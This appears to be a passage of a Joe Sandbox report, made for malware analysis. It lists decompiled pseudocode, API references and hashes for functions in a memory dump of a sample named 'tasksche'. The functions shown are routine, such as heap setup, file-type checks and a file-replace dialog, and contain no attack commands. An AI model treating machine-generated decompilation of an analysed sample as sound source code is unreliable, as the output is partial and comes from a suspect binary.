FindClose.KERNELBASE(00000000,00000800,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004096EC

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CloseFind_wcspbrk
String ID:
API String ID: 2190230203-0
Opcode ID: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction ID: c5db38677187ea9b8dec244fb3c8af9ff7d0a6647eff614e001a313c4cd0766c
Opcode Fuzzy Hash: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction Fuzzy Hash: 21F09635005380ABCA225B658404AC77B945F55365F048A1EB1F9621D7C279545ADB26

Uniqueness

Uniqueness Score: -1.00%

Function 00407074 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00407074(intOrPtr __ecx) {
				void* __edi;
				void* __esi;
				void* _t11;
				void* _t14;
				intOrPtr _t21;
				intOrPtr _t24;
				void* _t26;

				E0041A4DC(E0042966D, _t26);
				_push(__ecx);
				_t24 = __ecx;
				 *((intOrPtr*)(_t26 - 0x10)) = __ecx;
				_t21 =  *((intOrPtr*)(__ecx + 0x4448));
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t29 = _t21;
				if(_t21 != 0) {
					E004155EF(_t14, _t21, _t21); // executed
					E0041A4FB(_t14, _t21, __ecx, _t29, _t21); // executed
				}
				_t5 = _t26 - 4;
				 *(_t26 - 4) =  *(_t26 - 4) | 0xffffffff;
				_t11 = E00401001(_t24 + 0x10,  *_t5);
				 *[fs:0x0] =  *((intOrPtr*)(_t26 - 0xc));
				return _t11;
			}

0x00407079
0x0040707e
0x00407080
0x00407083
0x00407086
0x0040708c
0x00407090
0x00407092
0x00407096
0x0040709c
0x004070a1
0x004070a2
0x004070a2
0x004070a9
0x004070b3
0x004070bb

APIs

__EH_prolog.LIBCMT ref: 00407079

Part of subcall function 004155EF: __EH_prolog.LIBCMT ref: 004155F4

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction ID: da238740c98ae75ebc3f5927faf798116ad114c2e9bc9b884e51ec1b39bdab83
Opcode Fuzzy Hash: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction Fuzzy Hash: D1E06D32A11610ABC715AB29C4066EEF3B9EFC0728F10422FA062636C1DBB86D418659

Uniqueness

Uniqueness Score: -1.00%

Function 00409720 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409720(void* __ebx, void* __ecx, char _a4) {
				void* __edi;
				intOrPtr _t7;
				void* _t11;
				void* _t12;
				void* _t15;

				_t18 = _a4;
				_t15 = __ecx;
				 *((char*)(__ecx + 8)) = 0;
				if(_a4 == 0) {
					_t4 = __ecx + 0xc;
					 *_t4 =  *(__ecx + 0xc) & 0x00000000;
					__eflags =  *_t4;
				} else {
					_t7 = E0041A0EA(__ebx, _t11, 0x8003, _t18, 0x8003, _t12); // executed
					 *((intOrPtr*)(_t15 + 0xc)) = _t7;
					E0041A820(0x8003, _t7, 0, 0x8003);
				}
				return _t15;
			}

0x00409720
0x00409726
0x00409728
0x0040972c
0x0040974c
0x0040974c
0x0040974c
0x0040972e
0x00409735
0x0040973e
0x00409741
0x00409749
0x00409753

APIs

_memset.LIBCMT ref: 00409741

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction ID: 57c48ace6bef99692c10c7cc37c4410ce12e8001caaa4568d5ee7d388360cf58
Opcode Fuzzy Hash: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction Fuzzy Hash: D7E0CD729053406AD371751D9C04F579AD85B95725F14C82FB089A32C3C1BC5C51C759

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDF7 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EDF7(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x44f848 = _t6;
				if(_t6 != 0) {
					 *0x451420 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0041ee0c
0x0041ee12
0x0041ee19
0x0041ee20
0x0041ee26
0x0041ee1c
0x0041ee1c
0x0041ee1c

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041EE0C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction ID: eb53d8fa6b9c670d76401f9b6e634384cdf5b6bc28e7f080834842f41bea832e
Opcode Fuzzy Hash: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction Fuzzy Hash: E6D05E366503485ADB106F716C09B763BDCD384396F104436BC1DC6150F775C5A09A48

Uniqueness

Uniqueness Score: -1.00%

Function 00408C5A Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408C5A(void* __ecx) {
				void* _t2;
				long _t3;

				_t2 =  *(__ecx + 4);
				if(_t2 != 0xffffffff) {
					_t3 = GetFileType(_t2); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x00408c5a
0x00408c60
0x00408c66
0x00408c6f
0x00408c7c
0x00408c76
0x00408c78
0x00408c78
0x00408c62
0x00408c64
0x00408c64

APIs

GetFileType.KERNELBASE(?,00408CDA,?,00408EB0,?,00000000,?,?,00000000), ref: 00408C66

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction ID: 2361e1c995e4a541e26ad64c94d2af3b89e31d8e4072a4a2db2c19a8efa4df55
Opcode Fuzzy Hash: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction Fuzzy Hash: 8EC0127151610056DF2046385A8845B376687433667789FF9E071D12E5CB3ECC56B025

Uniqueness

Uniqueness Score: -1.00%

Function 0041C993 Relevance: 1.5, APIs: 1, Instructions: 14
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0041C993(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t9;
				void* _t18;

				_push(0xc);
				_push(0x42d6f8);
				E0041FA9C(__ebx, __edi, __esi);
				E00421501();
				 *(_t18 - 4) =  *(_t18 - 4) & 0x00000000;
				_t9 = E0041C8A8(__edx,  *((intOrPtr*)(_t18 + 8))); // executed
				 *((intOrPtr*)(_t18 - 0x1c)) = _t9;
				 *(_t18 - 4) = 0xfffffffe;
				E0041C9C9();
				return E0041FAE1( *((intOrPtr*)(_t18 - 0x1c)));
			}

0x0041c993
0x0041c995
0x0041c99a
0x0041c99f
0x0041c9a4
0x0041c9ab
0x0041c9b1
0x0041c9b4
0x0041c9bb
0x0041c9c8

APIs

Part of subcall function 00421501: __lock.LIBCMT ref: 00421503

__onexit_nolock.LIBCMT ref: 0041C9AB

Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8B7
Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8C7
Part of subcall function 0041C8A8: __msize.LIBCMT ref: 0041C8E5
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C909
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C91F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C931
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C93F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C94A

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
String ID:
API String ID: 1316407801-0
Opcode ID: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction ID: e58e71dbedfae0fd7c0196075773fdb904cc218e0a70426679e08a5f69f6d609
Opcode Fuzzy Hash: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction Fuzzy Hash: 8ED05B71E41605EACB10BFE6DC427CD77706F44315F60416FB018550D2C67C45C14A1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D513 Relevance: 1.5, APIs: 1, Instructions: 11
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D513(void* __edx, intOrPtr _a20, intOrPtr _a28) {

				SendDlgItemMessageW( *0x441844, 0x6a, 0x402, E0040D1DE(_a20, _a28), 0); // executed
				return E0040D116();
			}

0x0040d530
0x0040d53b

APIs

SendDlgItemMessageW.USER32 ref: 0040D530

Part of subcall function 0040D116: PeekMessageW.USER32 ref: 0040D127
Part of subcall function 0040D116: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
Part of subcall function 0040D116: TranslateMessage.USER32(?), ref: 0040D142
Part of subcall function 0040D116: DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction ID: 888b2871e718dea131dfcf0ec1cbc21fe8f041a13ed789b986bd41985b0bed4c
Opcode Fuzzy Hash: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction Fuzzy Hash: FDC01235240300ABE7117B50DD07F1A3A62BB88B09F808039BA81380F2CEB648369A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00408C47 Relevance: 1.5, APIs: 1, Instructions: 7
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00408C47(void* __ecx) {
				int _t2;

				_t2 = SetEndOfFile( *(__ecx + 4)); // executed
				asm("sbb eax, eax");
				return  ~(_t2 - 1) + 1;
			}

0x00408c4a
0x00408c53
0x00408c56

APIs

SetEndOfFile.KERNELBASE(?,004080D7,?,?,?,?,?,?), ref: 00408C4A

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction ID: 463f2a0b6f7528456a39aa395305c1415068e572747894341c9f749ccc5f34b3
Opcode Fuzzy Hash: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction Fuzzy Hash: 80B012703E0006878E102B30CD084143910D71130630041B0600AC6061CB13C0135611

Uniqueness

Uniqueness Score: -1.00%

Function 00419C88 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00419C88(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x00419c8c
0x00419c94
0x00419c98

APIs

SetCurrentDirectoryW.KERNELBASE(?,0040D8E5,0042A65C,00000000,?,00000006,?,00000800), ref: 00419C8C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction ID: 2a7281b05ebb75ae791a00df68b116ffeccc810d55834c007acaed3bb23dd98c
Opcode Fuzzy Hash: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction Fuzzy Hash: 50A012302940064F8A100B30CC0D82577506760702F0096307002C10A4CB304430A505

Uniqueness

Uniqueness Score: -1.00%

Function 0041E75F Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E75F() {
				void* _t1;

				_t1 = E0041E6ED(0); // executed
				return _t1;
			}

0x0041e761
0x0041e767

APIs

__encode_pointer.LIBCMT ref: 0041E761

Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E6FF
Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000005,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E716
Part of subcall function 0041E6ED: RtlEncodePointer.NTDLL(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E754

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 4883469bbd1ea34a64006740ed19a0f762d603c0c8182deb4ccf55bf016c8140
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DE5E Relevance: 52.8, APIs: 27, Strings: 3, Instructions: 291
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040DE5E(void* __ecx, void* __edx, void* __eflags) {
				void* _t71;
				void* _t86;
				int _t87;
				void* _t102;
				signed int _t130;
				void* _t139;
				void* _t150;
				struct HICON__* _t151;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				void* _t163;
				signed int _t167;
				void* _t169;
				struct HWND__* _t173;
				int _t179;
				void* _t181;
				void* _t183;
				void* _t185;

				_t169 = __edx;
				_t181 = _t183 - 0x68;
				E0041AAF0(0x1a50);
				_t173 =  *(_t181 + 0x70);
				if(E004060EE(__edx, _t173,  *(_t181 + 0x74),  *(_t181 + 0x78),  *((intOrPtr*)(_t181 + 0x7c)), L"REPLACEFILEDLG", 0, 0) == 0) {
					_t71 =  *(_t181 + 0x74) - 0x110;
					if(_t71 == 0) {
						SetFocus(GetDlgItem(_t173, 0x6c));
						E00410B9C(_t181 - 0x19e8,  *((intOrPtr*)(_t181 + 0x7c)), 0x800);
						E0040A2B0(_t181 - 0x19e8, _t181 - 0x19e8, 0x800);
						SetDlgItemTextW(_t173, 0x65, _t181 - 0x19e8);
						SHGetFileInfoW(_t181 - 0x19e8, 0, _t181 - 0x9e8, 0x2b4, 0x100);
						SendDlgItemMessageW( *(_t181 + 0x70), 0x66, 0x170,  *(_t181 - 0x9e8), 0);
						_t86 = FindFirstFileW(_t181 - 0x19e8, _t181 - 0x334);
						 *(_t181 + 0x74) = _t86;
						if(_t86 != 0xffffffff) {
							FileTimeToLocalFileTime(_t181 - 0x320, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							_t102 = E0040C3BF(0x99);
							_t163 = 0x200;
							E0040BC16(_t181 - 0x734, 0x200, L"%s %s %s", _t102);
							_t185 = _t183 + 0x18;
							SetDlgItemTextW( *(_t181 + 0x70), 0x6a, _t181 - 0x734);
							FindClose( *(_t181 + 0x74));
							if(( *(_t181 - 0x334) & 0x00000010) == 0) {
								_t139 = E0041ABD0( *((intOrPtr*)(_t181 - 0x318)), 0, 0, 1);
								asm("adc edx, ebx");
								E0040D155(_t139 +  *((intOrPtr*)(_t181 - 0x314)), _t169, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								_t163 = 0x200;
								E0040BC16(_t181 - 0x734, 0x200, L"%s %s", _t181 - 0xe4);
								_t185 = _t185 + 0x14;
								SetDlgItemTextW( *(_t181 + 0x70), 0x68, _t181 - 0x734);
							}
							SendDlgItemMessageW( *(_t181 + 0x70), 0x67, 0x170,  *(_t181 - 0x9e8), 0);
							E00411346( *0x441824, _t181 + 0x48);
							FileTimeToLocalFileTime(_t181 + 0x48, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							E0040BC16(_t181 - 0x734, _t163, L"%s %s %s", E0040C3BF(0x99));
							SetDlgItemTextW( *(_t181 + 0x70), 0x6b, _t181 - 0x734);
							_t130 =  *0x44182c;
							_t167 =  *0x441828;
							if(( *(_t181 - 0x334) & 0x00000010) == 0 || (_t167 | _t130) != 0) {
								E0040D155(_t167, _t130, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								E0040BC16(_t181 - 0x734, _t163, L"%s %s", _t181 - 0xe4);
								SetDlgItemTextW( *(_t181 + 0x70), 0x69, _t181 - 0x734);
							}
						}
						L26:
						_t87 = 0;
						L27:
						goto L28;
					}
					if(_t71 != 1) {
						goto L26;
					}
					_t179 = 2;
					_t150 = ( *(_t181 + 0x78) & 0x0000ffff) - _t179;
					if(_t150 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t179);
						L13:
						_t151 = SendDlgItemMessageW(_t173, 0x66, 0x171, 0, 0);
						if(_t151 != 0) {
							DestroyIcon(_t151);
						}
						EndDialog(_t173, _t179);
						_t87 = 1;
						goto L27;
					}
					_t155 = _t150 - 0x6a;
					if(_t155 == 0) {
						_t179 = 0;
						goto L13;
					}
					_t156 = _t155 - 1;
					if(_t156 == 0) {
						_t179 = 1;
						goto L13;
					}
					_t157 = _t156 - 1;
					if(_t157 == 0) {
						_push(4);
						goto L12;
					}
					_t158 = _t157 - 1;
					if(_t158 == 0) {
						goto L13;
					}
					_t159 = _t158 - 1;
					if(_t159 == 0) {
						_push(3);
						goto L12;
					}
					if(_t159 != 1) {
						goto L26;
					}
					goto L11;
				} else {
					_t87 = 1;
					L28:
					return _t87;
				}
			}

0x0040de5e
0x0040de5f
0x0040de68
0x0040de6f
0x0040de8c
0x0040de99
0x0040de9f
0x0040df14
0x0040df2a
0x0040df38
0x0040df4d
0x0040df68
0x0040df7f
0x0040df93
0x0040df99
0x0040df9f
0x0040dfb0
0x0040dfbe
0x0040dfd7
0x0040dfea
0x0040dff3
0x0040dff7
0x0040dffd
0x0040e008
0x0040e015
0x0040e01a
0x0040e029
0x0040e02e
0x0040e03b
0x0040e052
0x0040e061
0x0040e065
0x0040e074
0x0040e081
0x0040e08e
0x0040e093
0x0040e0a2
0x0040e0a2
0x0040e0b6
0x0040e0c6
0x0040e0d3
0x0040e0e1
0x0040e0f6
0x0040e10b
0x0040e114
0x0040e118
0x0040e131
0x0040e145
0x0040e14e
0x0040e153
0x0040e159
0x0040e16c
0x0040e17b
0x0040e190
0x0040e1a4
0x0040e1a4
0x0040e159
0x0040e1a6
0x0040e1a6
0x0040e1a8
0x00000000
0x0040e1a8
0x0040dea2
0x00000000
0x00000000
0x0040deae
0x0040deaf
0x0040deb1
0x0040decb
0x0040decb
0x0040decd
0x0040decd
0x0040dece
0x0040ded8
0x0040dee0
0x0040dee3
0x0040dee3
0x0040deeb
0x0040def3
0x00000000
0x0040def3
0x0040deb3
0x0040deb6
0x0040df06
0x00000000
0x0040df06
0x0040deb8
0x0040deb9
0x0040df03
0x00000000
0x0040df03
0x0040debb
0x0040debc
0x0040defd
0x00000000
0x0040defd
0x0040debe
0x0040debf
0x00000000
0x00000000
0x0040dec1
0x0040dec2
0x0040def9
0x00000000
0x0040def9
0x0040dec5
0x00000000
0x00000000
0x00000000
0x0040de8e
0x0040de90
0x0040e1ab
0x0040e1af
0x0040e1af

APIs

SendDlgItemMessageW.USER32 ref: 0040DED8
DestroyIcon.USER32(00000000), ref: 0040DEE3
EndDialog.USER32(?,00000006), ref: 0040DEEB

Strings

%s %s, xrefs: 0040E07C, 0040E183
%s %s %s, xrefs: 0040E003, 0040E124
REPLACEFILEDLG, xrefs: 0040DE76

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: DestroyDialogIconItemMessageSend
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3309745630-1840816070
Opcode ID: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction ID: 1ca02d43f13477766b0e0b2ecc80fe6690186a1d560daa565d76ee57e1f32e2a
Opcode Fuzzy Hash: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
